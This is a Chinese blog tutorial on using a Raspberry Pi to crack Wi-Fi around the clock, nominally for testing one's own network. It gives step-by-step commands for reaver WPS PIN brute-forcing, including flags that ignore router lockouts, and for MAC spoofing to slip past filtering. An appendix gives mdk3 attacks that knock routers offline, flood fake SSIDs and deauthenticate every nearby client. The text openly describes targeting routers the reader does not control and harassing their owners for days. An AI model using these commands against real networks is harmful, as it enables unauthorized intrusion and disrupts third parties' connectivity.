跳至主要内容

用Raspberry Pi检测自己的无线网络安全


"实际上本文适用于其他Linux/Unix-like 系统“
著作本文之目的是在于学习和探测自己的无线网络安全,如使用于其他目的皆与我无关,安全是双刃剑,可守亦可攻。

通常我们都会使用家庭无线路由,使得无线设备可以连网,但是隔墙有耳,无线的特性也决定了他人可以进行连接,因此我们需要诊断自己的无线是否安全。传统上,我们使用pc,装个CDLinux或者Benni,再或者巨无霸级别的BlackTrack,这会占用一台PC,并且不得不忍受睡前检测自己安全,睡醒后检测到一半,然后要关机切换回工作系统。

所以今天的目的就是要让你摆脱束缚,使用Raspberry Pi作为无线检测基地,24小时自动帮你检查你的无线安全性,文章会涉及Raspberry Pi下安装使用Reaver和Aircrack-ng,以及在WPS PIN时的一些问题,另外涉及到跑包解码部分会在后续补全。下面就开始说一下:

检测目的:检测自己家的无线安全性

检测手段:WPS 计算、WPA-PSK反解、匿名攻击

检测平台:
             
              1  Raspberry Pi  512M/256M
              2  2张 USB WIFI Card,我的 AR9721 芯片和Realtek任意网卡
              3  Raspbian OS

检测步骤:


一 软件的准备

1 Aircrack-ng 


但是这个地址似乎被国家防火墙给OOXX,你需要想点办法才可以。

apt-get install -y libpcap-dev libsqlite3-dev sqlite3 libpcap0.8-dev libssl-dev build-essential iw tshark


vi common.mak

在最后几行看到如下

CFLAGS          ?= -g -W -Wall -Werror -O3
删除 "-Werror",否则编译会不通过

保存后退出,然后

make && sudo make install




2 Reaver 1.4

tar zxvf reaver-1.4.tar.gz
cd  reaver-1.4/src
./configure && make && sudo make install

3 [非必须软件] macchanger

sudo apt-get insall -y macchanger

作用是保护我们自己,更改我们自己的网卡MAC。另外一个用途是,我们的无线路由有MAC地址绑定,我们改成它正常客户端的MAC就可以进行探测


二 无线网卡的选择

要检测无线安全性,必须要求无线网卡能进入混杂模式,这种模式可以接受所有的无线信号,符合这种要求的网卡一般都是有特定芯片。例如常见的所谓 8187网卡等等,我这里选用的是 Atheros 9271 ,原因有两点:

1 Atheros 92XX 芯片性能不错,Apple Mac Book Air / Pro 之前就是 Atheros 9280,而我的笔记本也是 AR9280。这网卡的好处不单可以接收无线信号,还可以做热点,将接收的无线网路再次分发,也就是说电脑就能实现无线桥接。

2 驱动简单,无bug。Raspberry Pi系统就有 AR 9XXX 的驱动,插上网卡就可以驱动,也没有兼容问题。


另外,我在硬件需求里,也提到过要2张USB网卡,其中一个必须是可以进入混杂模式的无线网卡(本例中是 Atheros 9271),另一张就随便一个便宜的无线网卡,属于非必须,原因是这第二张无线网卡仅仅是提供给我们远程连接用的。我想你更希望,一边用AirPlay在RaspBerry Pi上看高清,一边让它后台帮你侦测安全,第二张网卡的作用就是AirPlay用和远程控制用,你也可以使用自带的有线网卡。

在这一节,除了要购买好网卡外,插入到raspberry后,你还需要注意无线网卡是哪一个名称,例如我的 

ifconfig -a 

eth0: ..................................
.......................

wlan0 : ...................................
.......................

wlan1:...................
................


Linux不太好的地方是,对驱动使用通用名称而非显示驱动名称,所以你只能看看Mac 地址来区分wlan0 wlan1各自对应,或者你拔掉一个网卡,看看序号变化。另外也可使用命令 " lsusb "来看看。不在今天的讨论之内。

这里假定: wlan0 是用于ssh 连接,进行远程控制的网卡; wlan1 对应 Atheros 9271网卡,用了进行安全侦听。


三 检测无线安全

1 扫描无线网路

废话一句:最好你能 apt-get install screen ,这样你就可以在关闭远程连接时,RaspBerry Pi继续工作,此软件为非必须。

由于我将raspberry打开了root用户,所以我直接使用root操作,如果你也想减少麻烦,建议也直接切换到root (可以先在普通用户模式下 sudo passwd root ,给root改密码,然后你就可以直接 " su -  ",切换)。

1) 命令

airmon-ng start wlan1

这将会产生一个新的网络接口  mon0 , 这表示要在wlan1上开始无线侦听啦,这时你可以通过 mon0 接受周围任何无线数据包。

2) 命令

airodump-ng mon0

将会得到一个列表(这张列表其实还有后半部分,未列出)

CH  3 ][ Elapsed: 23 mins ][ 2013-05-12 22:35                               
                                                                             
BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                             

18:64:C7:1E:2E:6f  -70     1519       19    0  11  54   WPA2 CCMP   PSK  China
17:E6:E4:F2:32:B6  -75       70       85    0   6  54e. WPA2 CCMP   PSK  steve
8a:21:0A:9C:D9:57  -78      451        1    0   6  54e WPA2 CCMP   MGT  MERCU
8c:E8:73:31:56:99  -81      442        1    0   6  54e. WPA2 CCMP   PSK  xiux
98:83:45:4A:FE:66  -83      526      230    0   6  54e. WPA2 CCMP   PSK  Re


注意看这张列表,列表中显示了你周边无线的相关信息。注意看 MB 这一列,显示为" 54 "、"54e. "等等,这表示了无线当前的速率模式以及WPS开启状况,我自己的路由器是 "steve",注意看,”54e“和” 54e. “是不同的,多了一个 点,这个点表示开启了 wps模式。所以我们下面就进行wps的探测,在这里我们要记住SSID对应的MAC地址,此后我们会针对MAC地址进行攻击和探测。



或者,你额外进行一个操作,扫描 wps 专用命令  wash :

 wash -i mon0 -n 5 -C -s

这表示使用 mon0 界面监听周围wps信号,对每个无线点进行5个包探测, -C 表示忽略存在错误包的频道, -s 就是扫描 scan。会得到如下:



root@xbmc:/home/pi# wash -i mon0 -n 5 -C -s

Wash v1.4 WiFi Protected Setup Scan Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

BSSID                  Channel       RSSI       WPS Version       WPS Locked        ESSID
---------------------------------------------------------------------------------------------------------------
3C:D1:77:3E:79:5c       1            -62        1.0               No                Jasom
aC:63:BF:75:80:7b       1            -63        1.0               No                MERCURY
a8:61:BF:75:80:33       1            -62        1.0               No                MERCURY
78:83:45:4A:FE:ae       6            -74        1.0               No                Rem
cC:E8:73:31:56:5f       6            -82        1.0               No                xiu
bC:17:2F:41:99:F8       6            -82        1.0               No                TP-LINK_
58:64:C7:1E:2E:b2      11            -77        1.0               No                ChinaNet-
d2:54:99:55:A7:e9      11            -72        1.0               No                ChinaNet-
eC:21:0A:9C:D9:c5       6            -79        1.0               No                MERCURY_





这样就一目了然的看到 WPS 那里都是 1.0,而且WPS Locked 是NO。这就是我们接下来要做的事情了。


3)WPS 探测破解

3.1)  记住:保护自己,在操作前,使用 macchanger 或者系统自带的ifconfig。

macchanger -m aa:bb:cc:dd:ee:ff wlan1 

命令的意思是,强制更改wlan1的MAC地址为 aa:bb:cc:dd:ee:ff ,如果路由器限制了MAC,你就将此处的MAC改成可以正常访问的。有mac限制的wifi通常都是由自己客户端连接的,因此你要有耐心使用 airodump-ng mon0 (也即是上面 2种提到)去看底下的客户端列表。因此路由器限定MAC并不安全。



你也可能喜欢

macchanger -r wlan1 

这表示把wlan1 改成随机的MAC,这样就不担心路由器的封锁。

3.2) 接下来正式开始破解WPS的PIN


reaver -i mon0  -b 00:01:02:03:04:05 -vv -S -a 

其中 -b 后面的MAC就是你要破解的无线的MAC,然后你就可以让raspberry自己搞定。

-vv 是查看详细信息的,等你熟练了之后,你就可以使用 -v ,这样就简单了。通常,遇到问题才会使用 -vv 。

得到下面:


Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

[+] Restored previous session
[+] Waiting for beacon from 18:17:2F:54:87:f3
[+] Associated with EC:17:2F:54:87:7C (ESSID: Steve)
[+] Trying pin 54632226
[+] Trying pin 54632226
[+] Trying pin 54632226
[+] Trying pin 54633339
[+] Trying pin 54634442
[+] Trying pin 54635555
[+] 90.95% complete @ 2013-05-11 20:52:06 (8 seconds/pin)
[+] Trying pin 54635555
[+] Trying pin 54636668
[+] Trying pin 54637771
[+] Trying pin 54637771


3.4)可能遇到的问题

如果只是几条命令这么简单,可能我这文章与其他人就无异了,这里要说的是探测过程中可能遇到的状况。

a.  reaver 命令出错中断了,我的破解进度怎么办

这个你不用担心,reaver是实时保存进度到 /usr/local/etc/reaver/ 目录下,如果你查看你会发现文件使用 mac地址.wpc 格式存放,下一次你只要是针对此mac的破解将会自动读取该文档,所以你可以在任何时候中断。

b. reaver 提示” Failed Associated with XX:XX:XX:XX:XX:XX "

这表示你无法连接到所选的wifi ,可能是信号问题,可能是对方被你给PIN死了,也可能是对方限制了MAC地址。解决方案:

*针对信号,这个神都解决不了,除非换天线
*路由PIN死了,但是可能路由上网还通,因此你虽然连接不上,但是不影响原来已经连接的。所以这种情况就要使用大招: mdk3 攻击,强制使路由器处于假死,迫使主人重启路由器。至于mdk3的使用,你可以跳到文章后面阅读,或者本页搜索 mdk3攻击 。
*对方限制了MAC地址,这个我在前面macchanger中已经提到,HOHO有备而来哟。

c. reaver 破解到 99.99%以后就无限循环了

这个问题比较复杂,多半是因为漏PIN了 ,网络上流传可以使用 -n 来解决,但是也不尽然,如果PIN的时候网络不好,你PIN了一组数字,结果服务器不回复,reaver就认为那组数字是错误的,实际上是因为你和路由间信号不好导致回复丢失了。。。。。

首先,如果你不幸到了99.99%无限循环,那就要去手动修改 /usr/local/etc/reaver/mac地址.wpc,可以看前三行,修改第二行为000,强制重新从90%开始计算。关于wpc文件,将会在后面进行解释。
如果你仅仅是临时测试PIN进度,可以使用 


reaver -i mon0  -b 00:01:02:03:04:05 -vv -n -a -p 5463

此处5463是你99.99%循环时那组数字的前四位。这个临时模式的破解进度是无法保存的,需要注意。如果需要实时保存进度,只能修改上面提到的wpc文件。



其次,使用 -vv 看看有没有出错,例如我发现我的就一直提示:

[!] WPS transaction failed (code: 0x03), re-trying last pin
或者 
[!] WPS transaction failed (code: 0x02), re-trying last pin


这或许因为对方路由器限定了PIN的次数,过于频繁就会拒绝我们的探测,因此我们修改一下参数:

reaver -i mon0  -b 00:01:02:03:04:05 -vv -S -N -L -d 60 -r 3:15 -T .5 -x 360

好吧,这下参数变长了好多,其实很简单:

-L 就是忽略路由锁定

-d 60 就是发一次等1分钟,降低我们的探测频率,这相当有用,尽管速度降了下来但是更精准了。

-r 3:15是一个PIN失败后尝试3次,每次间隔15秒。

-T .5 默认是 0.1 ,这是说多久没有收到无线路由的回馈算PIN失败。改大一点可以弥补信号冲突、衰减造成的延迟大的问题。

-x 360 ,当同PIN10次失败后,reaver就进入休眠,时间10分钟,这样可以让路由器恢复一下,利于我们继续PIN!!



这样一来,就不再提示错误了,偶尔也会有一两个,但是因为可以重试所以准确率提高。


d reaver的时候总是要从123456789开始,有没有捷径可以走?

当然有捷径,只是不是十分靠谱,在进行动作前 ,查阅 http://mac-pin.456vv.net/ 针对你要探测的MAC进行查询,可以使用MAC前半部查询,得到一个近似值,然后你就使用前面提到的临时命令看看是否会直接就到90%,如果是,表示前4位是正确的。
然后,修改wpc文件,第一行为 那四位,第三行为1 。然后享受飞跃的感觉。

如果你要破解的时中国电信 ChinaNet-xxYn的路由器,可以从网上下载一个 “中国电信路由光猫PIN计算”的excel文档,里面也可能极不靠谱的粗略计算一下前四位。虽然极不靠谱,但是在我的尝试中还不错。


到此为止,我们的WPS探测就告一段落。接下来要说的是,没有开放WPS的路由怎么办?


4 WPA /WPA 2 加密的路由

这个只能跑包解决,也就是说,我们只能探测握手包,就是密码认证的握手包。我会抽时间补全。









附记:

mdk3攻击

我不想将这个写太详细,因为危害极大,但是技术始终是中立,看用的人如何。

mdk3攻击的目的

1 迫使路由死机,人为重启路由器。

这多半是因为我们探测是路由被探测死掉,拒绝我们的探测,需要让人重启,但是路由又不归我们控制,这时mdk3就让路由下线,那么人就不得不重启路由。亲测90%情况下有效

2 迫使对方更换密码加密方式

对方路由使用了 wpa/wpa2 加密,没有Wps,跑包又无效,怎么办,我们就使用mdk3进行攻击,迫使对方客户端全部掉线,直到更换为wep加密方式,可以秒破。你肯定会问成功概率,我能说的就是,概率比较低,主要原因是,操作路由的人发现wpa无法认证通常都是重启路由了,因此你需要有耐心的让raspberry 24小时不断骚扰,过一周后就可能对方变更了,我只成功过一次。这是在跑包无奈下的选择。

3 假造很多假的SSID

这种就是无线骚扰,要说有啥用途,第一就是让人家不得安生,那么多ID塞满周边,无从选择,因为ID都差不多。第二,就是人家会选错,使用正确的密码认证。我没有这么用过。

列绝了以上3个作用,下面就是实践:

安装:
修改Makefile
将 LINKFLAGS = -lpthread
修改为 LINKFLAGS = -pthread (去掉l )

make && sudo make install 

1 mdk3 mon0 a -a 路由器MAC     #迫使主人重启路由

2 mdk3 mon0 g -t BSSID(例如ChinaNet-Hj4q,也即是wifi的名字)               #此命令将会迫使路由器的WPA假死,直到主人更换为WEP。 !!!!危害极大

3 假SSID,这个我不说了

4 mdk3 mon0 d -b 文件名(文件名称中包含要攻击的MAC)-s 数字(发包速度)       #此命令将会令AP的客户端全下线。用途是在你抓取wpa认证握手包时,强制他们重新认证。 !!!!危害超级大,如果使用不当会导致周围所有无线客户端都掉线!!!!!!!













评论

此博客中的热门博文

使用StrongSwan搭建 IKEv1 IKEv2 VPN服务器

#2016-01-04 决定将本文作废,因我要另再写新版本的配置。这篇作于 2013年,而strongswan已经更新很多版本。 #本文需要有独立的VPS,如果你需要一台速度快,每月30元的左右的VPS,可以使用我的邀请注册 http://www.vultr.com/?ref=6813064 并且在注册时使用 SSDVPS 可以送 $20(或者 $10 不等)。一定要选日本线路,这个到国内延迟约40ms ~ 100ms ,一般是 80ms 左右,非常快非常稳定,一个月32元,可以和几个人合租了。 #LOG:2014-04-30 对ipsec.conf进行修改,增加了android手机的兼容,现在可以支持完整支持android 自带的VPN设置啦~~~~ #LOG:2013-0609 对ipsec.conf进行修改,加入清楚DPD代码,防止IP 地址池不正确占用 #LOG: 2013-0519 删除ipsec.conf 中多余的conn iOS一节,这本是我一年前调试用的,时间不起作用; 删除了 %default中的 rightsubnet ,如果不删除,在定义了多段IP路由的情况下会导致账号无法上网(只有一段IP没这个bug),感谢  JackWindows  ‏ @ JackWindows #LOG 2013-05-12 修正bug,原配置文件会导致一个ID不可以同时多次登陆。得蒙  @ KhaosT   指点,对  strongswan.conf 加入duplicheck.enable = no ,对 ipsec.conf 加如 uniqueids=never #完成度100% 在我们生活的周围,通常要用到很多种VPN: PPTP, L2TP/IPSec, Cisco IPSec, IKEv2, 这些不同类型的VPN覆盖了目前我们常见的所有手机或者电脑平台,比如 iOS, Blackberry OS, BB10, Android, WebOS, Windows XP, Windows Vista/7/8, Unix/Unix-like。 (*如果你正在找blackberry 翻墙方法、ios ipsec vpn、windows IKEv2 VPN、Blackberry...

简易 APN Proxy (APN代理)的搭建

2012年2月1日 ,新增加了一种方案,请看 《 搭建增强型代理服务器(APN Proxy) 》 2012-01-03 更新 3proxy 及 监控进程脚本,分别见 B 3) 和 曾经在twitter被封锁的时候,我在长城宽带干过一件事,那就是将twitter的请求和通讯使用SSH,让全网用户可以无阻访问,不过也因此付出了代价,略不去说了。 后来得厨神 @paveo 的创意,何不将其用在手机等移动设备上?厨神的APN现在已经很成熟并在免费有限量专供中。我今天这里写得,是如何搭建自己的APN Proxy(APN 代理),但在阅读下面内容之前,需要一个刚性要求:一台在国内的Unix-Like的主机(可以是Linux/FreeBSD/Mac Osx Server/Solaris等等)并且是公网IP地址以及在国外的VPS主机(Unix类)。这个要求可以看出成本比较高,所以我看到淘宝上已经有人开始出售APN代理了,这个可以理解。 第一部分 原理 原理图1 如上图所示,我们要实现的功能原理是,将上网请求先发送到“国内VPS”,再由“国内VPS”通过SSH隧道转送到国外,最终实现无阻上网。点击查看大图可以看出,主要配置是在“国内VPS”上,包括配置SSH -D、Squid、Privoxy或者Polipo(socks代理程序你可以选自己喜欢的)。 第二 配置 1 国外VPS 国外VPS上,你需要有一个SSH帐户,并且请注意,使用密钥方式登录你的SSH而非密码,之所以如此,是为了下一步建立长久的SSH以及断线自动重连做准备,这个很重要。关于“SSH 免密码 密钥 登录”请使用google看一下。 这里有一个小插曲,部分centos 上如果默认的话,SSH帐户会报错,大约 是adminitstatly close之类,这有可能是 openfile数目问题,可以轻松解决。我非Linux爱好者,所以是临时google,并没有记录下来,你只要记得如果遇到同样问题,5分钟之内就可以google解决。 2 国内VPS 这一节将会是我们的主战场,基本上,我将会按下面的逻辑图来进行配置,这其中会涉及很多文件的配置,需要你注意哦,最后部分我会提供部分配置文档下载,由于我使用的是FreeBSD,因此会有少量差...

Blackberry PushMail企业激活利器:BlackberryUnite!---免费的BES哦

很久很久以前,我们公司里有三部黑莓,我们当时想能不能破解BES来实现我们几个的PushMail,但是失败了;很长时间以来,我们众多的莓友为了能实现PushMail,不断地尝试着尚邮和Berrymail等等邮件客户端,于是延时和耗电成为了我们的焦点。而今天,我们原生的push mail终于可以手机上使用了,这就是blackberry Unite! 1.0.3,在我的ota上早已经提供下载。 1 安装方法: 在安装blackberry Unite的时候,请注意,尽量选择Sever版的系统,目前我测试了在win 2000 ADS,Win 2003 都可以一次性成功,而我自己的XP则是没有一次成功。当然并不绝对,Twitter 好友 @smallzheng 就能成功。还要注意的是,不要使用精简的XP,我试过了三个ghost版的XP,全都没有成功,因为已经没有力气再折腾所以不打算重装系统测试了。 其实Blackberry Unite过程中没有任何特别的,一路下一步就行了,根本不需要用代理或者国外的VPN!但是有个技巧要注意一下,因为在安装过程中,blackberry Unite!会强制安装.NET Framework 2.0 和 Java 6 Update 2,时间较长,你可以事先从我的服务器上下载安装,这样的话BU就只会下载安装MSSQL和msxml4.0了。 这一步里,由于要下载和安装,所以那个程序会卡死,请你能注意一下,不要看着程序假死就强制关闭,这样一来程序安装不完全,就会启动不了。我在这里了吃了大亏了。 2 安装后,桌面上就会多出一个链接和一个文件夹。点一下那个链接就能直接使用了。我这里重点说一下无法打开那个链接的情况也就是 http://localhost:8080/unite 无法打开。 为了能实验成功这个软件,我在Twitter上号召过大家,也有好心的推友转发了那个号召,实际上那是因为我当时我已经14个小时还没有解决 这个问题,由于blackberry Unite资料很少,如果有需要请参阅一些BES的资料。 a  Blackberry Unite需要在XP的服务里加几个常规服务进去,他们都是有依赖的。如果启动不成功,请你去看一下依赖有没有问题。 b 我的依赖就没有问题,但是仍然不能启动。教你一个方法,可以测试一下是不...